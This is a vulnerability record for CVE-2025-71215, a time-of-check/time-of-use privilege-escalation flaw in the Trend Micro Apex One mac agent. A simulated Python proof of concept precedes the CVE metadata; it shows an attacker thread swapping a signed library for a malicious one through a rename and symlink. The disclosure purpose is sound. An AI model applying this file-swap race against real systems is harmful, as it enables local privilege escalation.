CVE-2025-71215

# Conceptual PoC for TOCTOU in Signature Verification # This demonstrates the race condition logic. # Attacker needs low-privilege execution first. import os import time import threading malicious_file_path = "/path/to/malicious.dylib" legitimate_file_path = "/path/to/legitimate_signed.dylib" target_file_path = "/tmp/target_file.dylib" def attacker_thread(): # Wait for the check phase time.sleep(0.1) # Swap the file after check but before use (The Race) try: os.rename(target_file_path, target_file_path + ".bak") os.symlink(malicious_file_path, target_file_path) print("[+] File swapped via TOCTOU") except Exception as e: print(f"[-] Swap failed: {e}") # Simulate the vulnerable service behavior def vulnerable_service(): # 1. Check: Verify signature of target_file_path print("[Service] Verifying signature...") time.sleep(0.2) # Simulate check time print("[Service] Signature Valid.") # 2. Use: Load the library # Attacker swaps file here time.sleep(0.2) print("[Service] Loading library...") # In a real scenario, this loads the malicious file print("[Service] Library loaded (Potentially Malicious)") # Start threads t1 = threading.Thread(target=vulnerable_service) t2 = threading.Thread(target=attacker_thread) t1.start() t2.start() t1.join() t2.join()

{"cve": {"id": "CVE-2025-71215", "sourceIdentifier": "[email protected]", "published": "2026-05-21T14:16:44.130", "lastModified": "2026-05-21T15:16:21.843", "vulnStatus": "Undergoing Analysis", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "A time-of-check time-of-use vulnerability in the Trend Micro Apex One (mac) agent iCore service signature verification could allow a local attacker to escalate privileges on affected installations.\r\n\r\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\r\n\r\nThe following information is provided as informational only for CVE references, as these were addressed already via ActiveUpdate/SaaS updates in mid to late 2025 (SaaS 2507 & 2005 Yearly Release)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://success.trendmicro.com/en-US/solution/KA-0022458", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-141/", "source": "[email protected]"}]}}